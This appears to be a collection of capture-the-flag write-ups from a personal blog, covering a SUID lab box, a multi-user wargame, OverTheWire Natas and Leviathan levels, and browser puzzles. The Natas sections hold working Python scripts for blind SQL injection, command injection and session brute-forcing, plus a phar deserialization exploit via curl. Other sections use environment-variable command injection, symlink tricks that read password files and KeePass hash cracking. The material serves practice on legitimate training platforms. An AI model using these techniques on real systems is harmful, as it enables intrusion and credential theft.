Posted onInctfWord count in article: 849Reading time ≈3 mins.
Hidden directory discovery, SSH brute-force, and custom SUID binary exploitation.
suidy
scan
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❯ rustscan -a 192.168.0.109 -- -A -sV PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 53/tcp open domain syn-ack (generic dns response: SERVFAIL) 80/tcp open http syn-ack nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist!
for j in sys.stdin: j=j.strip() response=requests.get(f"http://192.168.0.109/shehatesme{j}") # print(f"http://192.168.0.109/shehatesme{j}") print(response.text)
theuser@suidy:/home/suidy$ ./suidyyyyy suidy@suidy:/home/suidy$ id uid=1001(suidy) gid=1000(theuser) grupos=1000(theuser),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev) suidy@suidy:/home/suidy$ cat note.txt I love SUID files! The best file is suidyyyyy because users can use it to feel as I feel. root know it and run an script to be sure that my file has SUID. If you are "theuser" I hate you!
Posted onInctfWord count in article: 4.1kReading time ≈15 mins.
hades to irene
aphrodite
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aphrodite@hades:~$ cat flagz.txt mission.txt ^???????????????????? ################ # MISSION 0x07 # ################ ## EN ## The user ariadne knows what we keep in our HOME.
aphrodite@hades:~$ HOME=";cat /pwned/aphrodite/ariadne_pass.txt" ./homecontent The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt ????????????????????
asteria@hades:~$ ftp localhost ftp> lcd /var/tmp Local directory now: /var/tmp ftp> get mission.txt ftp> get atalanta.txt ftp> exit
asteria@hades:/var/tmp$ cat mission.txt atalanta.txt ################ # MISSION 0x13 # ################ ## EN ## The user atalanta has done something with our account. ## ES ## La usuaria atalanta ha hecho algo con nuestra cuenta. ????????????????????
aura@hades:~$ cat flagz.txt mission.txt ^???????????????????? ################ # MISSION 0x16 # ################ ## EN ## User aegle has a good memory for numbers. ## ES ## La usuaria aegle tiene buena memoria para los numeros.
aura@hades:~$ ./numbers Enter one number: 1 Number OK Enter next number: 2 Number OK Enter next number: 3 Number OK Enter next number: 1 Number OK Enter next number: 2 Number OK Enter next number: 3 Number OK Enter next number: 1
NO :_( aura@hades:~$ for i in $(seq 0 10); do echo -e "1\n2\n3\n1\n2\n3\n9\n1\n1\n1\n1\n2\n$i\n" | ./numbers; done ... ???????????????????? ...
aegle@hades:~$ ls -la total 36 drwxr-x--- 2 root aegle 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 aegle aegle 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 aegle aegle 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 aegle aegle 807 Apr 23 2023 .profile -rw-r----- 1 root calliope 21 Apr 5 2024 calliope_pass.txt -rw-r----- 1 root aegle 22 Apr 5 2024 flagz.txt -rw-r----- 1 root aegle 176 Apr 5 2024 mission.txt aegle@hades:~$ cat flagz.txt mission.txt ^???????????????????? ################ # MISSION 0x17 # ################ ## EN ## User calliope likes to have her things looked at. ## ES ## A la usuaria calliope le gusta que le miren sus cosas.
aegle@hades:~$ sudo -l Matching Defaults entries for aegle on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User aegle may run the following commands on hades: (calliope) NOPASSWD: /bin/cat aegle@hades:~$ sudo -u calliope /bin/cat /pwned/calliope/flagz.txt ^????????????????????
calliope@hades:~$ mesg is n calliope@hades:~$ mesg y calliope@hades:~$ ./writeme Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!TAMYefoHcCPmexwImodo^OCbFzMIKPQOZQMEUKwEi^Cannot send you my pass!calliope@hades:~$
clio@hades:~$ cat mission.txt ################ # MISSION 0x22 # ################ ## EN ## The user cybele uses her lastname as a password. ## ES ## La usuaria cybele usa su apellido como password.
daphne@hades:~$ cat /var/tmp/ctf ^???????????????????? ################ # MISSION 0x26 # ################ ## EN ## User demeter reads in another language. ## ES ## La usuaria demeter lee en otro idioma.
eos@hades:~$ ls -la total 36 drwxr-x--- 2 root eos 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 eos eos 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 eos eos 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 eos eos 807 Apr 23 2023 .profile -rw-r----- 1 root eos 22 Apr 5 2024 flagz.txt -rw-r----- 1 root eos 181 Apr 5 2024 mission.txt -r-xr-x--- 1 root eos 1902 Apr 5 2024 secretz.kbdx eos@hades:~$ cat flagz.txt mission.txt ^???????????????????? ################ # MISSION 0x29 # ################ ## EN ## The user gaia is very careful saving her passwords. ## ES ## La usuaria gaia es muy precavida guardando sus passwords.
~ ❯ keepass2john secretz.kbdx > hash
~ ❯ john ./hash --wordlist=~/wordlists/rockyou.txt ... heaven (secretz.kbdx) ... # open with keepassxc ????????????????????
hera@hades:~$ cat flagz.txt mission.txt ^???????????????????? ################ # MISSION 0x33 # ################ ## EN ## User hermione would like to know what hera was doing. ## ES ## A la usuaria hermione le gustaria saber que hacia hera. hera@hades:~$ cat .bash_history
ls ps sudo -u hermione bash cp /etc /etc2 ^????????????????????^ ls id cat /usr/hera rm /usr/hera whoami zip -R etc.zip /etc
hero@hades:~$ ./cleaner hero@hades:~$ id uid=2026(hero) gid=2226(her0) groups=2226(her0),2026(hero) hero@hades:~$ sudo -l [sudo] password for hero: Sorry, user hero may not run sudo on hades. hero@hades:~$ find / -type f -group her0 2>/dev/null | grep -v proc /usr/share/libs hero@hades:~$ cat /usr/share/libs ????????????????????
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas6", "pass": "<censored>" };</script></head> <body> <h1>natas6</h1> <divid="content">
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head> <body> <h1>natas8</h1> <divid="content">
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head> <body> <h1>natas9</h1> <divid="content"> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head> <body> <h1>natas10</h1> <divid="content">
For security reasons, we now filter on certain characters<br/><br/> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head> <?
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head> <body> <h1>natas13</h1> <divid="content"> For security reasons, we now only accept image files!<br/><br/>
<?php function genRandomString() { $length = 10; $characters = "0123456789abcdefghijklmnopqrstuvwxyz"; $string = ""; for ($p = 0; $p < $length; $p++) { $string .= $characters[mt_rand(0, strlen($characters)-1)]; } return $string; } function makeRandomPath($dir, $ext) { do { $path = $dir."/".genRandomString().".".$ext; } while(file_exists($path)); return $path; } function makeRandomPathFromFilename($dir, $fn) { $ext = pathinfo($fn, PATHINFO_EXTENSION); return makeRandomPath($dir, $ext); } if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); $err=$_FILES['uploadedfile']['error']; if($err){ if($err === 2){ echo "The uploaded file exceeds MAX_FILE_SIZE"; } else{ echo "Something went wrong :/"; } } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } else { ?>
url = "http://natas15.natas.labs.overthewire.org/index.php?debug" auth = ("natas15", "<credential-redacted>") con = 32 data = {"username": 'natas16" AND password LIKE BINARY "a%'}
ans = 'hPkjKYviLQctEW33QmuXL6eDVfMW4'
sub = 'doesn'
whileTrue: for i in a: print(f"i={i}") data = {"username": f'natas16" AND password LIKE BINARY"{ans+i}%'} response = requests.post(url=url,data=data,auth=auth) ifnot sub in response.text: ans += i print(ans) print(f"len {len(ans)}")
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head> <body> <h1>natas16</h1> <divid="content">
For security reasons, we now filter even more on certain characters<br/><br/> <form> Find words containing: <inputname=needle><inputtype=submitname=submitvalue=Search><br><br> </form>
American Americanism Americanism's Americanisms Americans Britisher Celsius Celsiuses Christianities Christmases Congress Congress's December December's Decembers E E's Easter ...
# https://jhalon.github.io/over-the-wire-natas3/ # exist='' # for x in a: # parmas={"needle": f'$(grep {x} /etc/natas_webpass/natas17)',"submit":"Search"} # response=requests.get(url=url,params=parmas,auth=auth) # if not sub in response.text: # exist += x # print('using: '+exist)
exist='bhjkoqsvwCEFHJLNOT05789'
ans='EqjHJbo7LFNb8vwhHb'
ans=input() print(ans)
whileTrue: for i in exist: print(i) parmas={"needle": f'$(grep ^{ans+i} /etc/natas_webpass/natas17)',"submit":"Search"} response=requests.get(url=url,params=parmas,auth=auth)
ifnot sub in response.text: ans += i print(ans) print(f"len {len(ans)}") iflen(ans)==32: exit()
for i inrange(sta,641): print(i) cookie={'PHPSESSID':f'{i}'} response=requests.post(url=url,cookies=cookie,auth=auth) iflen(response.text)!=983: print(response.text)
# 119 # <html> # <head> # <!-- This stuff in the header has nothing to do with the level --> # <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> # <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> # <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> # <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> # <script>var wechallinfo = { "level": "natas18", "pass": "<credential-redacted>" };</script></head> # <body> # <h1>natas18</h1> # <div id="content"> # You are an admin. The credentials for the next level are:<br><pre>Username: natas19 # Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div> # </div> # </body> # </html>
# <credential-redacted>
[credential redacted]
level 18->level 19
1 2 3
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
Please login with your admin account to retrieve credentials for natas20.
# PHPSESSID:3139352d61646d696e # from hex: 195-admin # # i = 1 # # a = f"{i}-admin" # cookie={'PHPSESSID':f'{a.encode().hex()}'} # print(cookie) # response=requests.post(url=url,cookies=cookie,auth=auth) # print(response.text) # print(len(response.text))
l=1029
sta=0 sta=231
for i inrange(sta,641): a = f"{i}-admin" cookie={'PHPSESSID':f'{a.encode().hex()}'} print(f'{i}{cookie}') response=requests.post(url=url,cookies=cookie,auth=auth) iflen(response.text) != l: print(response.text) exit()
# 281 {'PHPSESSID': '3238312d61646d696e'} # <html> # <head> # <!-- This stuff in the header has nothing to do with the level --> # <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> # <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> # <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> # <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> # <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> # <script>var wechallinfo = { "level": "natas19", "pass": "<credential-redacted>" };</script></head> # <body> # <h1>natas19</h1> # <div id="content"> # <p> # <b> # This page uses mostly the same code as the previous level, but session IDs are no longer sequential... # </b> # </p> # You are an admin. The credentials for the next level are:<br><pre>Username: natas20 # Password: <credential-redacted></pre></div> # </body> # </html> #
DEBUG: MYREAD <natas-session> DEBUG: Reading from /var/lib/php/sessions/mysess_<natas-session> DEBUG: Read [name admin ] DEBUG: Read [admin 1] DEBUG: Read [] DEBUG: Name set to admin admin 1 You are an admin. The credentials for the next level are:
Username: natas21 Password: <credential-redacted>
Your name: View sourcecode DEBUG: MYWRITE <natas-session> name|s:14:"admin admin 1";admin|s:1:"1"; DEBUG: Saving in /var/lib/php/sessions/mysess_<natas-session> DEBUG: admin => 1 DEBUG: name => admin admin 1
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head> <body> <h1>natas21</h1> <divid="content"> <p> <b>Note: this website is colocated with <ahref="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b> </p>
<?php function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; } } /* }}} */ session_start(); print_credentials(); ?>
<?php session_start(); if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc=http://natas.labs.overthewire.org/js/wechall-data.js></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head> <body> <h1>natas22</h1> <divid="content">
<?php if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas22", "pass": "<credential-redacted>" };</script></head> <body> <h1>natas22</h1> <div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas23 Password: <credential-redacted></pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/wechall-data.js"></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head> <body> <h1>natas23</h1> <divid="content">
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <linkrel="stylesheet"type="text/css"href="http://natas.labs.overthewire.org/css/level.css"> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <linkrel="stylesheet"href="http://natas.labs.overthewire.org/css/wechall.css" /> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <scriptsrc="http://natas.labs.overthewire.org/js/wechall-data.js"></script><scriptsrc="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head> <body> <h1>natas24</h1> <divid="content">
<br /> <b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br /> <br>The credentials for the next level are:<br><pre>Username: natas25 Password: <credential-redacted></pre> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html>
Welcome natas28 ! Here is your data: Array ( [username] => natas28 [password] => <credential-redacted> )
<credential-redacted>
# note the user inserted was natas28 %
[credential redacted]
level 27->level 28
CBC bit-flipping SQL injection. The search form encrypts the query
with AES-CBC before passing to search.php, which decrypts
it into a SQL LIKE query. In CBC mode, flipping a byte in
ciphertext block N-1 corrupts the same byte in plaintext block N — we
can inject arbitrary SQL.
# Step 2 — Get a known-plaintext reference # Encrypt padding characters to find which ciphertext blocks # correspond to our input, then XOR-flip the PREVIOUS block # to rewrite the decrypted plaintext
# The SQL decrypted is roughly: # SELECT * FROM jokes WHERE joke LIKE BINARY '%[INPUT]%' # We want: # SELECT * FROM jokes WHERE joke LIKE BINARY '%' UNION SELECT password FROM users-- -'
# The CBC trick: # P[i] = Decrypt(C[i]) XOR C[i-1] # To set P[i][j] = target_byte, we need: # C[i-1][j] = current_C[i-1][j] XOR current_P[i][j] XOR target_byte
# Since we don't know current_P[i], we encrypt a known pattern, # capture C[i-1], then derive the XOR delta from what we WANT vs # what's ALREADY in the decrypted plaintext (inferable from the SQL template).
# Full exploit script (standard approach for this level): # 1. Encrypt 'a'*50 to learn which blocks contain our data # 2. Determine position of the trailing % and close quote # 3. Flip the ciphertext bytes to turn '%' into "' UNION SELECT..." # 4. Append dummy block to consume the trailing SQL
[credential redacted]
level 28->level 29
Perl CGI file inclusion. The file parameter is opened as
$f.txt. A pipe | at the end makes it a shell
command. Filter blocks 'natas' but wildcards bypass it.
if ('POST' eq request_method && param('username') && param('password')){ my$dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1}); my$query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my$sth = $dbh->prepare($query); $sth->execute(); my$ver = $sth->fetch(); if ($ver){ print"win!<br>"; print"here is your result:<br>"; print@$ver; } else{ print"fail :("; } $sth->finish(); $dbh->disconnect(); }
Result: natas31:<credential-redacted>
[credential redacted]
level 30->level 31
Perl CGI RCE via open() pipe injection. The CSV parser
reads with <$file>. Setting file=ARGV as
a text field makes it open @ARGV. URL query params become @ARGV; a trailing
| executes as shell command.
PHP phar unserialization via md5_file() +
phar:// wrapper. The Executor class uploads a
file then checks md5_file($filename) == $signature. By
crafting a phar archive with serialized metadata, we overwrite
$filename and $signature when the phar is
opened via phar://.
# Trigger phar deserialization — filename=phar://./exploit.phar/b # The constructor fails to save (path with ://), but destructor # chdir to /natas33/upload/ and calls md5_file("phar://./exploit.phar/b") # which opens the phar, deserializes metadata, overwriting $filename # and $signature, then md5_file("shell.php") matches and runs passthru curl -s -u natas33:<credential-redacted> \ -F "filename=phar://./exploit.phar/b" \ -F "uploadedfile=@/dev/null;filename=x;type=text/plain" \ 'http://natas33.natas.labs.overthewire.org/index.php'
leviathan0@leviathan:~/.backup$ cat bookmarks.html | grep pass <DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will be fixed later, the password for leviathan1 is <credential-redacted>" ADD_DATE="1155384634" LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>
leviathan2 has a setuid binary printfile that prints
files — but it has a space-handling bug. If a filename contains a space,
it runs /bin/cat on each part separately. Create a symlink
to /etc/leviathan_pass/leviathan3 with a space in the
name.
1 2 3 4 5 6 7 8 9
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ls -la total 1360 drwxrwxrwx 2 leviathan2 leviathan2 4096 Aug 7 12:42 . drwxrwx-wt 7322 root root 1384448 Aug 7 12:43 .. lrwxrwxrwx 1 leviathan2 leviathan2 30 Aug 7 12:42 tmp -> /etc/leviathan_pass/leviathan3 -rw-rw-r-- 1 leviathan2 leviathan2 0 Aug 7 12:42 t tmp
leviathan2@leviathan:/tmp/tmp.YL8H9pOSiq$ ~/printfile 't tmp' /bin/cat: t: No such file or directory
# Decode binary to ASCII leviathan4@leviathan:~/.trash$ ./bin | python3 -c "import sys; print(''.join(chr(int(b,2)) for b in sys.stdin.read().strip().split()))"
[credential redacted]
level 5 → level 6
leviathan5 reads /tmp/file.log. Create a symlink to the
password file.
leviathan6@leviathan:~$ for i in $(seq 1000 9999); do ./leviathan6 $i 2>/dev/null | grep -v Wrong; done
$ id uid=12007(leviathan7) gid=12006(leviathan6) groups=12006(leviathan6) $ bash leviathan7@leviathan:~$ cat /etc/leviathan_pass/leviathan7
[credential redacted]
level 7
1 2 3
leviathan7@leviathan:~$ cat CONGRATULATIONS Well Done, you seem to have used a *nix system before, now try something more serious. (Please don't post writeups, solutions or spoilers about the game on the web. Thank you!)
Posted onInctfWord count in article: 4kReading time ≈15 mins.
hack the web note
hack the web
challenge 0 start
The Answer to the Great Question… Of Life, the Universe and
Everything… Is… Forty-two.
42
challenge 5 lemon juice
ctrl a, the word with revel
invisible
challenge 15 username
reverse of your username
vkkkv
challenge 24 dont blink
if you cant read the word
marvelous
challenge 110 calculator
2x2x2x2x2x2x2x2
challenge 111 calculator II
2x5x2x5...
challenge 116 calculator III
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
➤ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
✗ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
➤ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
➤ calc C-style arbitrary precision calculator (version 2.15.1.1) Calc is open software. For license details type: help copyright [Type "exit" to exit, or "help" for help.]
; 101*50
5050
challenge 18 rot13
terng lbh unir fhpprffshyyl qrpbqrq gur grkg nf n erjneq lbh abj trg
gur nafjre naq vg vf fcvrtryovyq (gur trezna jbeq sbe zveebe vzntr)
drag circle
or
i use vim btw, so i copy the string to vim and press g?? to tr
rot13
great you have successfully decoded the text as a reward you now get
the answer and it is spiegelbild (the german word for mirror image)
<p> <!-- noinspection SpellCheckingInspection --> <em> <strong>T</strong>he hours stretch before the glowing screen.<br> <strong>H</strong>uman language is so imprecise.<br> <strong>E</strong>verything depends on clarity.<br> <strong>A</strong>nd clarity emerges through code's decree.<br> <br> <strong>N</strong>ow is the moment, a canvas to create,<br> <strong>s</strong>culpting worlds in the digital state.<br> <strong>W</strong>ith every line, a universe unfurls.<br> <strong>E</strong>ager minds contemplate the code's weight.<br> <br> <strong>R</strong>evealing secrets in each algorithm's dance,<br> <strong>i</strong>n the binary, we find our cosmic trance. <br> <strong>S</strong>ynchronizing bytes in a digital romance: <br> <br> <strong>S</strong>eeking clarity, as we advance.<br> <strong>T</strong>apping keys, we're bound to transcend,<br> <strong>e</strong>levating thought, in this realm we intend,<br> <strong>n</strong>urturing ideas, our journey won't end,<br> <strong>o</strong>ffline is good, but online is better. </em> </p>
THEA NSWE RIS STENO
STENO
challenge 28 ads
use ublock
Litfaßsäule
challenge 79 suspicious
secure-bank-login.com
challenge 64 smiley
run in console
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
const d = [68, 105, 101, 32, 65, 110, 116, 119, 111, 114, 116, 32, 108, 97, 117, 116, 101, 116, 32, 75, 111, 114, 111, 115, 101, 110, 115 , 101, 105 ,46 ]; const e = d .map( (x )=>String.fromCharCode(x)) .join ('' ) /* x x x xxxxx xxx*/ window.alert(e)
➤ python Python 3.13.5 (main, Jun 21 2025, 09:35:00) [GCC 15.1.1 20250425] on linux Type "help", "copyright", "credits" or "license" for more information. >>> bin(45) '0b101101'
challenge 60 scan me
scan qrcode, i use qrazybox btw
Final Decoded string : I start with the letter Z. I have the same
colors as a QR code. Who am I?
i expect thats a letter about color in german, but not
zebra
challenge 45 characters
サンドイッチ a カタカナ
sandwich
challenge 59 secret text
its easy to manual decrypt
julian
challenge
press ctrl p in browser
or
search source code
1
<pclass="print-only">The answer is ????????????.</p>
